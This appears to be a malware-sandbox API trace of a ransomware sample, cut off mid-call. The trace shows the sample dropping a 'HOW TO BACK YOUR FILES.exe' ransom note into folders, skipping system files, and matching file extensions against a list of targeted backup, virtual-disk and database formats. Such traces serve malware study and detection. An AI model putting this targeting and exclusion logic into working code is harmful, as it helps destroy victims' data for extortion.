ftLastAccessTime.dwLowDateTime=0xc3c4f420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3c4f420, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.494] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.494] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.494] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.494] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.494] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c4f420, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3c4f420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.495] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.495] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c4f420, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3c4f420, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0096.495] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.495] ReleaseMutex (hMutex=0xec) returned 1 [0096.495] CloseHandle (hObject=0xec) returned 1 [0096.495] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows NT\\Accessories" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\Accessories") returned="C:\\Program Files (x86)\\Windows NT\\Accessories" [0096.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51be90 | out: hHeap=0x4f0000) returned 1 [0096.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da30 | out: hHeap=0x4f0000) returned 1 [0096.495] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT\\Accessories") returned 45 [0096.495] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6BC6E003B69DBE0FB049F7E1FEF387DF") returned 0xec [0096.495] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.495] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT\\Accessories" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\Accessories") returned="C:\\Program Files (x86)\\Windows NT\\Accessories" [0096.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.496] GetLastError () returned 0x0 [0096.496] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.496] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.496] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.497] CloseHandle (hObject=0xf4) returned 1 [0096.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.497] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.497] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc4079aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4079aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.497] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.497] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.497] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.497] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc4079aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4079aa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.497] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.497] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.497] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.497] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.497] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0096.497] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0096.498] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0096.498] lstrlenW (lpString="en-US") returned 5 [0096.498] lstrcpyW (in: lpString1=0x241e8a4, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0096.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da30 [0096.498] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e5f0 [0096.498] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0096.498] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0096.498] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0096.500] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4079aa0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4079aa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.500] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.500] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8585f48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40ce00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2=".") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="..") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="windows") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="bootmgr") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="temp") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="pagefile.sys") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="boot") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="ids.txt") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="ntuser.dat") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="perflogs") returned 1 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2="MSBuild") returned 1 [0096.501] lstrlenW (lpString="wordpad.exe") returned 11 [0096.501] lstrcpyW (in: lpString1=0x241e8a4, lpString2="wordpad.exe" | out: lpString1="wordpad.exe") returned="wordpad.exe" [0096.501] lstrlenW (lpString="wordpad.exe") returned 11 [0096.501] lstrlenW (lpString="Athena865") returned 9 [0096.501] lstrcmpiW (lpString1="rdpad.exe", lpString2="Athena865") returned 1 [0096.501] lstrlenW (lpString=".dll") returned 4 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2=".dll") returned 1 [0096.501] lstrlenW (lpString=".lnk") returned 4 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2=".lnk") returned 1 [0096.501] lstrlenW (lpString=".ini") returned 4 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2=".ini") returned 1 [0096.501] lstrlenW (lpString=".sys") returned 4 [0096.501] lstrcmpiW (lpString1="wordpad.exe", lpString2=".sys") returned 1 [0096.501] lstrlenW (lpString="wordpad.exe") returned 11 [0096.501] lstrlenW (lpString="bak") returned 3 [0096.501] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0096.501] lstrlenW (lpString="ba_") returned 3 [0096.501] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0096.502] lstrlenW (lpString="dbb") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0096.502] lstrlenW (lpString="vmdk") returned 4 [0096.502] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0096.502] lstrlenW (lpString="rar") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0096.502] lstrlenW (lpString="zip") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0096.502] lstrlenW (lpString="tgz") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0096.502] lstrlenW (lpString="vbox") returned 4 [0096.502] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0096.502] lstrlenW (lpString="vdi") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0096.502] lstrlenW (lpString="vhd") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0096.502] lstrlenW (lpString="vhdx") returned 4 [0096.502] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0096.502] lstrlenW (lpString="avhd") returned 4 [0096.502] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0096.502] lstrlenW (lpString="db") returned 2 [0096.502] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0096.502] lstrlenW (lpString="db2") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0096.502] lstrlenW (lpString="db3") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0096.502] lstrlenW (lpString="dbf") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0096.502] lstrlenW (lpString="mdf") returned 3 [0096.502] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0096.503] lstrlenW (lpString="mdb") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0096.503] lstrlenW (lpString="sql") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0096.503] lstrlenW (lpString="sqlite") returned 6 [0096.503] lstrcmpiW (lpString1="ad.exe", lpString2="sqlite") returned -1 [0096.503] lstrlenW (lpString="sqlite3") returned 7 [0096.503] lstrcmpiW (lpString1="pad.exe", lpString2="sqlite3") returned -1 [0096.503] lstrlenW (lpString="sqlitedb") returned 8 [0096.503] lstrcmpiW (lpString1="dpad.exe", lpString2="sqlitedb") returned -1 [0096.503] lstrlenW (lpString="xml") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0096.503] lstrlenW (lpString="$er") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0096.503] lstrlenW (lpString="4dd") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0096.503] lstrlenW (lpString="4dl") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0096.503] lstrlenW (lpString="^^^") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0096.503] lstrlenW (lpString="abs") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0096.503] lstrlenW (lpString="abx") returned 3 [0096.503] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0096.503] lstrlenW (lpString="accdb") returned 5 [0096.503] lstrcmpiW (lpString1="d.exe", lpString2="accdb") returned 1 [0096.503] lstrlenW (lpString="accdc") returned 5 [0096.503] lstrcmpiW (lpString1="d.exe", lpString2="accdc") returned 1 [0096.503] lstrlenW (lpString="accde") returned 5 [0096.504] lstrcmpiW (lpString1="d.exe", lpString2="accde") returned 1 [0096.504] lstrlenW (lpString="accdr") returned 5 [0096.504] lstrcmpiW (lpString1="d.exe", lpString2="accdr") returned 1 [0096.504] lstrlenW (lpString="accdt") returned 5 [0096.504] lstrcmpiW (lpString1="d.exe", lpString2="accdt") returned 1 [0096.504] lstrlenW (lpString="accdw") returned 5 [0096.504] lstrcmpiW (lpString1="d.exe", lpString2="accdw") returned 1 [0096.504] lstrlenW (lpString="accft") returned 5 [0096.504] lstrcmpiW (lpString1="d.exe", lpString2="accft") returned 1 [0096.504] lstrlenW (lpString="adb") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0096.504] lstrlenW (lpString="adb") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0096.504] lstrlenW (lpString="ade") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0096.504] lstrlenW (lpString="adf") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0096.504] lstrlenW (lpString="adn") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0096.504] lstrlenW (lpString="adp") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0096.504] lstrlenW (lpString="alf") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0096.504] lstrlenW (lpString="ask") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0096.504] lstrlenW (lpString="btr") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0096.504] lstrlenW (lpString="cat") returned 3 [0096.504] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0096.504] lstrlenW (lpString="cdb") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0096.505] lstrlenW (lpString="ckp") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0096.505] lstrlenW (lpString="cma") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0096.505] lstrlenW (lpString="cpd") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0096.505] lstrlenW (lpString="dacpac") returned 6 [0096.505] lstrcmpiW (lpString1="ad.exe", lpString2="dacpac") returned -1 [0096.505] lstrlenW (lpString="dad") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0096.505] lstrlenW (lpString="dadiagrams") returned 10 [0096.505] lstrcmpiW (lpString1="ordpad.exe", lpString2="dadiagrams") returned 1 [0096.505] lstrlenW (lpString="daschema") returned 8 [0096.505] lstrcmpiW (lpString1="dpad.exe", lpString2="daschema") returned 1 [0096.505] lstrlenW (lpString="db-journal") returned 10 [0096.505] lstrcmpiW (lpString1="ordpad.exe", lpString2="db-journal") returned 1 [0096.505] lstrlenW (lpString="db-shm") returned 6 [0096.505] lstrcmpiW (lpString1="ad.exe", lpString2="db-shm") returned -1 [0096.505] lstrlenW (lpString="db-wal") returned 6 [0096.505] lstrcmpiW (lpString1="ad.exe", lpString2="db-wal") returned -1 [0096.505] lstrlenW (lpString="dbc") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0096.505] lstrlenW (lpString="dbs") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0096.505] lstrlenW (lpString="dbt") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0096.505] lstrlenW (lpString="dbv") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0096.505] lstrlenW (lpString="dbx") returned 3 [0096.505] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0096.505] lstrlenW (lpString="dcb") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0096.506] lstrlenW (lpString="dct") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0096.506] lstrlenW (lpString="dcx") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0096.506] lstrlenW (lpString="ddl") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0096.506] lstrlenW (lpString="dlis") returned 4 [0096.506] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0096.506] lstrlenW (lpString="dp1") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0096.506] lstrlenW (lpString="dqy") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0096.506] lstrlenW (lpString="dsk") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0096.506] lstrlenW (lpString="dsn") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0096.506] lstrlenW (lpString="dtsx") returned 4 [0096.506] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0096.506] lstrlenW (lpString="dxl") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0096.506] lstrlenW (lpString="eco") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0096.506] lstrlenW (lpString="ecx") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0096.506] lstrlenW (lpString="edb") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0096.506] lstrlenW (lpString="epim") returned 4 [0096.506] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0096.506] lstrlenW (lpString="fcd") returned 3 [0096.506] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0096.506] lstrlenW (lpString="fdb") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0096.507] lstrlenW (lpString="fic") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0096.507] lstrlenW (lpString="flexolibrary") returned 12 [0096.507] lstrlenW (lpString="fm5") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0096.507] lstrlenW (lpString="fmp") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0096.507] lstrlenW (lpString="fmp12") returned 5 [0096.507] lstrcmpiW (lpString1="d.exe", lpString2="fmp12") returned -1 [0096.507] lstrlenW (lpString="fmpsl") returned 5 [0096.507] lstrcmpiW (lpString1="d.exe", lpString2="fmpsl") returned -1 [0096.507] lstrlenW (lpString="fol") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0096.507] lstrlenW (lpString="fp3") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0096.507] lstrlenW (lpString="fp4") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0096.507] lstrlenW (lpString="fp5") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0096.507] lstrlenW (lpString="fp7") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0096.507] lstrlenW (lpString="fpt") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0096.507] lstrlenW (lpString="frm") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0096.507] lstrlenW (lpString="gdb") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0096.507] lstrlenW (lpString="gdb") returned 3 [0096.507] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0096.507] lstrlenW (lpString="grdb") returned 4 [0096.508] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0096.508] lstrlenW (lpString="gwi") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0096.508] lstrlenW (lpString="hdb") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0096.508] lstrlenW (lpString="his") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0096.508] lstrlenW (lpString="ib") returned 2 [0096.508] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0096.508] lstrlenW (lpString="idb") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0096.508] lstrlenW (lpString="ihx") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0096.508] lstrlenW (lpString="itdb") returned 4 [0096.508] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0096.508] lstrlenW (lpString="itw") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0096.508] lstrlenW (lpString="jet") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0096.508] lstrlenW (lpString="jtx") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0096.508] lstrlenW (lpString="kdb") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0096.508] lstrlenW (lpString="kexi") returned 4 [0096.508] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0096.508] lstrlenW (lpString="kexic") returned 5 [0096.508] lstrcmpiW (lpString1="d.exe", lpString2="kexic") returned -1 [0096.508] lstrlenW (lpString="kexis") returned 5 [0096.508] lstrcmpiW (lpString1="d.exe", lpString2="kexis") returned -1 [0096.508] lstrlenW (lpString="lgc") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0096.508] lstrlenW (lpString="lwx") returned 3 [0096.508] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0096.509] lstrlenW (lpString="maf") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0096.509] lstrlenW (lpString="maq") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0096.509] lstrlenW (lpString="mar") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0096.509] lstrlenW (lpString="marshal") returned 7 [0096.509] lstrcmpiW (lpString1="pad.exe", lpString2="marshal") returned 1 [0096.509] lstrlenW (lpString="mas") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0096.509] lstrlenW (lpString="mav") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0096.509] lstrlenW (lpString="maw") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0096.509] lstrlenW (lpString="mdbhtml") returned 7 [0096.509] lstrcmpiW (lpString1="pad.exe", lpString2="mdbhtml") returned 1 [0096.509] lstrlenW (lpString="mdn") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0096.509] lstrlenW (lpString="mdt") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0096.509] lstrlenW (lpString="mfd") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0096.509] lstrlenW (lpString="mpd") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0096.509] lstrlenW (lpString="mrg") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0096.509] lstrlenW (lpString="mud") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0096.509] lstrlenW (lpString="mwb") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0096.509] lstrlenW (lpString="myd") returned 3 [0096.509] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0096.510] lstrlenW (lpString="ndf") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0096.510] lstrlenW (lpString="nnt") returned 3 [0096.510] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0096.510] lstrlenW (lpString="nrmlib") returned 6 [0096.510] lstrcmpiW 